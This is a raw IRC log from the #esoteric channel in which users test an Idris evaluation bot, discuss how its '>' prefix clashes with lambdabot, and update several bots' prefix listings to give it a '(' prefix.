:HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :1176) you win this round. your prize is hosting the wiki I don't like this game show. < 1394724395 666458 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :yeah, it's obviously doing that internally, a way to dump the desugared form into the program seems pretty useful < 1394724546 774508 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :What is a proof, just a term of a given type? < 1394724559 750845 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :ais523: That’s not really just “desugared”, it’s “delaborated”. < 1394724566 816985 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Melvar: err, right < 1394724583 760547 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Idris has a "proof { trivial; }" syntax < 1394724587 518186 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :> proof { trivial; } < 1394724587 850352 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't infer type for {x104} < 1394724588 628843 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:16: parse error on input `;' < 1394724604 702908 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :that desugars into a term of a given type < 1394724627 261207 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :> proof { trivial; } : (Bool -> Bool) < 1394724627 631510 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:20: error: expected: "$", < 1394724627 688531 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "$>", "&&", "&&&", "*", "***", < 1394724627 688671 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "+", "++", "-", "->", ".", "/", < 1394724627 688760 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "/=", ":+", "::", "<", "<$", < 1394724627 688847 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "<$>", "<*>", "<+>", "<->",14↵… < 1394724628 78152 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:16: parse error on input `;' < 1394724633 234481 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :err, not like that though < 1394724640 960577 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :ais523: No type annotation syntax. < 1394724658 610209 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Just the. < 1394724666 940702 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I assumed : was type annotation, but it's type /declaration/? < 1394724667 163190 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :`unidecode ↵ < 1394724667 941582 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​[U+21B5 DOWNWARDS ARROW WITH CORNER LEFTWARDS] < 1394724670 975688 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :that's probably workaroundable < 1394724681 730399 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :> :t the < 1394724682 64257 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :09Prelude.Basics.the : (13a : 12Type) -> 13a -> 13a < 1394724682 878356 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `:' < 1394724690 824727 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :↑ That’s what you usually use. < 1394724697 460398 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :ah, and the workaround's already been written < 1394724712 726228 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :> the (Bool->Bool) (proof {trivial;}) < 1394724713 59642 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't unify < 1394724713 199574 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 12Bool 12= 12Bool < 1394724713 257040 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :with < 1394724713 257170 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 12Bool -> 12Bool < 1394724713 257260 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Specifically:14↵… < 1394724713 763944 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:33: parse error on input `;' < 1394724726 260661 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oh ofc < 1394724730 661361 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :trivial only proves things equal to each other < 1394724739 128328 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :> the (1=1) (proof {trivial;}) < 1394724739 503845 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't unify < 1394724739 615614 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 09fromInteger 041 12= 09fromInteger 041 < 1394724739 672849 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :with < 1394724739 672983 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 09fromInteger 041 12= 09fromInteger 041 < 1394724739 673071 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Specifically:14↵… < 1394724740 364551 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:7: parse error on input `=' < 1394724754 70925 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :bleh, I should have realised that would happen < 1394724759 911882 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and did, but not before I stopped pressing return < 1394724764 911906 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :> the (Z=Z) (proof {trivial;}) < 1394724765 245912 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :INTERNAL ERROR: Nothing to fill in. < 1394724765 302185 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :This is probably a bug, or a missing error message. < 1394724765 302337 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Please consider reporting at https://github.com/idris-lang/Idris-dev/issues < 1394724765 912369 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:7: parse error on input `=' < 1394724771 796008 :Slereahphone!~slereahph@80.10.159.144 QUIT :Read error: Connection reset by peer < 1394724775 945593 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :OK, /that/ should have worked :-) < 1394724787 864073 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :> the (Fin 3) 1 < 1394724788 308183 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04fS 04fZ : 12Fin 043 < 1394724788 956989 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Not in scope: `the'Not in scope: data constructor `Fin' < 1394724789 67051 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Perhaps you meant `Fini' (imported from Lambdabot.Plugin.Haskell.Eval.Trusted) < 1394724797 118811 :Slereahphone!~slereahph@80.10.159.144 JOIN :#esoteric < 1394724808 399170 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :> refl < 1394724808 733134 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):0:0:Incomplete term 04refl < 1394724809 438903 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Not in scope: `refl' < 1394724823 619812 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :> refl : 1 = 1 < 1394724823 954682 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:6: error: expected: "$", < 1394724824 45522 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "$>", "&&", "&&&", "*", "***", < 1394724824 102778 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "+", "++", "-", "->", ".", "/", < 1394724824 102937 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "/=", ":+", "::", "<", "<$", < 1394724824 103094 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "<$>", "<*>", "<+>", "<->",14↵… < 1394724824 516615 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:10: parse error on input `=' < 1394724830 388021 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :oh < 1394724834 425352 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :> the (1=1) refl < 1394724834 535825 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :> the (1=1) refl < 1394724834 759222 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04refl : 041 12= 041 < 1394724834 869755 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04refl : 041 12= 041 < 1394724835 313164 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:7: parse error on input `=' < 1394724835 423964 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : can't find file: L.hs < 1394724838 394962 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :snap < 1394724846 174381 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :this idris-ircslave/lambdabot spam is just horrible < 1394724866 604207 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :yeah, but we can't exactly move the bots into another channel, unless they have autorejoin set < 1394724876 881028 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :we could possibly persuade idris-ircslave to change prefix? < 1394724894 400082 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :also, lamabdabot has a race condiiton < 1394724925 46625 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :labmobdat < 1394724946 212026 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :but yeah, "the (Z=Z) (proof {trivial;})" should be a synonym for "the (Z=Z) (refl)" < 1394724953 193745 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Hmm, the guys in #idris are used to using > for it. < 1394724969 180060 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :because proof {trivial;} attempts to use refl if possible < 1394724985 560820 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :yeah, we need some sort of bot namespacing by channel < 1394725007 727593 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :Melvar: per-channel configuration not easy? < 1394725023 258804 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :idris-ircslave: > 123 < 1394725027 629080 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :is there any way to address it directly? < 1394725027 851179 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Currently, there is no configuration at all. < 1394725036 651651 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :well, okay, per-channel prefix :) < 1394725036 874720 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Only by /msg . < 1394725061 682491 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :hmm. < 1394725074 386234 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I guess there is no way to do it without batching one bot, even with my lambdabot admin access < 1394725103 105430 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Let me just do a few things, and then add a prefix so we can at least work around it. < 1394725112 584041 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :@eval 1+1 < 1394725117 897983 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :hmm < 1394725121 196393 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :@run 1+1 < 1394725122 274009 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : 2 < 1394725124 523759 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :there we go < 1394725132 36039 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :so at least lambdabot has an alternative prefix < 1394725142 303342 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I guess we could always use the thutubot workaround < 1394725183 781297 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :(in case you don't know what happened: thutubot's written in Thutu, a pretty primitive language; thutubot has an Underload evaluator written in Thutu, so I added a Haskell impl as a joke, which worked via PMing lambdabot) < 1394725308 547493 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :So what’s free? < 1394725315 537800 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :> 1 : Integer < 1394725315 866160 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:3: error: expected: "$", < 1394725315 974994 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "$>", "&&", "&&&", "*", "***", < 1394725316 31182 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "+", "++", "-", "->", ".", "/", < 1394725316 31336 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "/=", ":+", "::", "<", "<$", < 1394725316 31428 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "<$>", "<*>", "<+>", "<->",14↵… < 1394725316 558640 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Not in scope: data constructor `Integer' < 1394725323 462827 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hmph, indeed no annotation < 1394725391 221182 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :> [] :: [[()]] < 1394725391 767415 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't disambiguate name: Data.HVect.Nil, Prelude.List.Nil, Data.Vect.Quantifiers.Nil, Prelude.Vect.Nil < 1394725392 135026 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : [] < 1394725401 66954 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :bah < 1394725411 980818 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :`bot < 1394725412 680989 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: bot: not found < 1394725416 5127 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :^bot < 1394725421 821536 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :^fungot < 1394725430 56664 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :what are you trying to do. < 1394725440 48113 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@bot < 1394725440 266876 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric ::) < 1394725447 278790 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Hmm, that must be the only "fungot" line that fungot does not reply to. < 1394725447 390306 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Jafet: i get to go. surrender, and we all know things i would be as another sword arm this deadly but well-hidden booby trap, goblin friend, and she won't give that stern paladin look to my eviscerated remains of a dragon are indistinguishable from the real belkar and i are a bit too. < 1394725464 558387 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :^prefixes < 1394725464 615293 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Bot prefixes: fungot ^, HackEgo `, EgoBot !, lambdabot @ or ?, thutubot +, metasepia ~, jconn ) , blsqbot ! < 1394725498 160859 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Melvar: i _greatly_ recommend ( hth < 1394725508 898833 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :# perhaps? < 1394725513 546376 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :I SAID ( < 1394725520 932706 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Fine, fine. < 1394725525 490291 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :yay! < 1394725561 227138 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :yeah, it make sense to make it the opposite of jconn, really < 1394725572 956678 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ais523: there's another reason too < 1394725573 979133 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :the sad part is we didn't come up with an interesting Idris/Haskell polyglot before the fix < 1394725581 235084 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oerjan: go on < 1394725606 936751 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :it will make me _finally_ be able to use ^ul instead of ^bf for fungot's ^prefixes command :P < 1394725607 45668 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :oerjan: my master as the new lord. everyone in this room is now eyeing you illusory belkar and i are a bit, and if the big boot goes my way! where are you, haley, that thing almost ate me too! < 1394725622 290 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oerjan: haha, I was wondering if it was something to do with balancing parens < 1394725631 935842 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :also we should have > listed in ^prefixes < 1394725632 483440 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :ais523: It’s still going to accept > because #idris knows it that way. < 1394725643 335180 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :yes, that makes sense < 1394725647 155707 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :it shouldn't be changed for #idris < 1394725658 660537 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :except, maybe, if you feel the need to invite lambdabot in over there to evaluate some Haskell < 1394725684 70832 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :@hoogle asum < 1394725684 507973 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Data.Foldable asum :: (Foldable t, Alternative f) => t (f a) -> f a < 1394725698 268100 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :Melvar: can't it just ignore > in #esoteric? < 1394725826 504119 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :elliott_: It could, but I’m quite uncomfortable with hardcoding that in. < 1394725850 830913 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :really IRC needs some sort of properly namespaced bot framework, where channels can configure bot prefixes themselves < 1394725853 138353 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :hardcore it listening to > in #idris? :) < 1394725876 347286 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :or maybe some sort of complex ban, where you can prevent specific users seeing lines that match specific regexes < 1394725910 501300 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :that'd also let you do things like [no-glogbot-log] or whatever it was, opside < 1394725931 798236 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :ais523: it's called "bot: command" < 1394725943 587374 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :that's just convention < 1394725947 201417 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :no it's an extremely advanced namespace framework < 1394725958 533832 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net QUIT :Quit: Terminated < 1394725959 814201 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and not a particularly widely used convention either < 1394725973 605927 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :EgoBot: c printf "Hello, world!" < 1394725975 109939 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net JOIN :#esoteric < 1394725980 349541 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :see what I mean? < 1394725985 398732 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :fungot: ul (test)S < 1394725985 507686 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :ais523: so, " shojo brain big," what's next?" heh, " fatty" last? < 1394725997 192842 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :ais523: and your properly namespaced bot framework would be widely-used? < 1394726003 148167 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :that is not the program I asked you to run, young bot! < 1394726005 144823 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :one more bot uses my scheme than uses yours in here < 1394726013 324024 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :elliott_: no, I meant as part of the ircd < 1394726022 633029 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :like, getting the ircd to translate bot prefixes on the fly < 1394726026 270452 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :according to rules set up per-channel < 1394726042 17647 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :then every bot uses it automatically < 1394726046 801676 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :lambdabot: @run "You can do it, right?" < 1394726047 865012 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : "You can do it, right?" < 1394726069 406499 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@botsnack < 1394726069 551946 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric ::) < 1394726149 99631 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :( Z < 1394726149 468207 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :040 : 12Nat < 1394726152 793567 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :> True < 1394726153 198063 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04True : 12Bool < 1394726153 747191 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : True < 1394726173 611938 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :I believe that will do for now. < 1394726202 395055 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I guess @run still exists. < 1394726307 110871 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :What about bot suffixes \o/ < 1394726307 548191 :myndzi!myndzi@2600:3c00::f03c:91ff:fedf:3d4e PRIVMSG #esoteric :69                        | < 1394726307 656937 :myndzi!myndzi@2600:3c00::f03c:91ff:fedf:3d4e PRIVMSG #esoteric :69                        |\ < 1394726346 366551 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394726498 965931 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :^prefixes < 1394726499 58898 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Bot prefixes: fungot ^, HackEgo `, EgoBot !, lambdabot @ or ?, thutubot +, metasepia ~, jconn ) , blsqbot ! < 1394726534 956442 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net QUIT :Quit: Terminated < 1394726549 702194 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :^def prefixes ul (Bot prefixes: fungot ^, HackEgo `, EgoBot !, lambdabot @ or ?, thutubot +, metasepia ~, idris-ircslave ( , jconn ) , blsqbot !)S < 1394726549 796022 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Defined. < 1394726551 413997 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net JOIN :#esoteric < 1394726553 588998 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :^prefixes < 1394726553 698090 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Bot prefixes: fungot ^, HackEgo `, EgoBot !, lambdabot @ or ?, thutubot +, metasepia ~, idris-ircslave ( , jconn ) , blsqbot ! < 1394726578 428300 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :idris-ircslave: Z < 1394726578 540501 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :040 : 12Nat < 1394726600 536151 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`run sed -i 's/, jconn/, idris-ircslave ( , jconn/' bin/prefixes < 1394726602 601766 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394726606 825908 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`prefixes < 1394726607 539942 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Bot prefixes: fungot ^, HackEgo `, EgoBot !, lambdabot @ or ?, thutubot +, metasepia ~, idris-ircslave ( , jconn ) , blsqbot ! < 1394726611 276708 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 264 seconds < 1394726623 580407 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!show prefixes < 1394726624 556679 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :sh echo 'Bot prefixes: fungot ^, HackEgo `, EgoBot !, lambdabot @ or ?, thutubot +, metasepia ~, jconn ) , blsqbot !' < 1394726635 18570 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!help < 1394726635 344139 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help . < 1394726645 730296 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!deluserinterp prefixes < 1394726660 351568 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!help userinterps < 1394726660 462343 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​userinterps: Users can add interpreters written in any of the languages in !help languages. See !help addinterp, delinterp, show | !userinterps. List interpreters added with !addinterp. < 1394726666 294717 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!delinterp prefixes < 1394726666 661102 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter prefixes deleted. < 1394726697 876067 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!addinterp prefixes sh echo 'Bot prefixes: fungot ^, HackEgo `, EgoBot !, lambdabot @ or ?, thutubot +, metasepia ~, idris-ircslave ( , jconn ) , blsqbot !' < 1394726697 984187 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :oerjan: if the power, as duly noted. i've been up on the mountain < 1394726698 311434 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter prefixes installed. < 1394726706 19833 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!prefixes < 1394726708 723712 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :Bot prefixes: fungot ^, HackEgo `, EgoBot !, lambdabot @ or ?, thutubot +, metasepia ~, idris-ircslave ( , jconn ) , blsqbot ! < 1394726718 56882 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :AT LAST < 1394726929 222815 :spiette!~spiette@2607:fad8:4:6:a288:b4ff:fe60:a3b0 QUIT :Ping timeout: 240 seconds < 1394726929 656841 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :oerjan: Also did you see I added “idris-ircslave: ” as a prefix for it? < 1394726960 401952 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :On that note, has anyone asked about the name yet? < 1394726985 894879 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :I, RC slave. < 1394727057 316351 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :The reasoning was that it uses “idris --ideslave”, but connects it to IRC rather than an IDE. < 1394727083 939759 :Slereahphone!~slereahph@80.10.159.144 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1394727386 677848 :AnotherTest!~turingcom@94-224-16-52.access.telenet.be JOIN :#esoteric < 1394727389 432364 :Slereahphone!~slereahph@80.10.159.144 JOIN :#esoteric < 1394727456 55949 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :Melvar: it didn't need explanation. all bots are slaves. < 1394727569 983858 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(I’m actually fairly sure someone once complained about the “slave” in the name.) < 1394727610 822376 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :(botsnack < 